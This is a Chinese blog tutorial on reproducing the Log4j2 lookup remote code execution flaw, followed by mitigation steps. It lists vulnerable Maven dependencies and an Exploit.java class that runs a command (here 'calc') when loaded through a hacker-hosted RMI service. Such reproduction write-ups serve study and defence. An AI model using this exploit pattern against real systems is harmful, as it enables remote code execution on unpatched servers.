手把手教你复现Log4j2核弹级漏洞

简介

        近日, Apache Log4j 的远程代码执行漏洞细节被公开,该漏洞一旦被攻击者利用会造成严重危害。经过快速分析和确认,该漏洞影响范围极其广泛,危害极其严重,建议第一时间启动应急响应进行修复。

漏洞概述

        Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

影响范围

Apache Log4j 2.x <= 2.15.0-rc1

漏洞复现

1.环境搭建

        创建一个新的maven项目,并导入Log4j的依赖包

<dependencies>
    <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.11.0</version>
    </dependency>
    <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.11.0</version>
    </dependency>
</dependencies>

 2.漏洞利用,使用Log4jTest.java测试 

 3.编译一恶意类Exploit.class

首先新建Exploit.java,然后编译为class文件。

class Exploit {
    static {
        System.err.println("Evil has been there");
        try{
            String cmds="calc";
            Runtime.getRuntime().exec(cmds);
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

 4.黑客后台创建一个RMI服务,绑定Exploit,并执行开启1099监听端口

5.运行Log4jTest.java即可访问恶意类并执行写在其中的"calc"命令

 

修复方式

        目前,Apache官方已发布新版本完成漏洞修复,建议用户尽快进行自查,并及时升级至最新版本:

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

建议同时采用如下临时措施进行漏洞防范:

  • 添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;

  • 在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;

  • JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;

  • 部署使用第三方防火墙产品进行安全防护。

参考链接:

https://www.bilibili.com/video/BV1FL411E7g3

https://mp.weixin.qq.com/s/AqbGHYHLhRemxmroi2W6Iw

技术交流

源码放在评论区

欢迎转载、收藏、有所收获点赞支持一下!

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值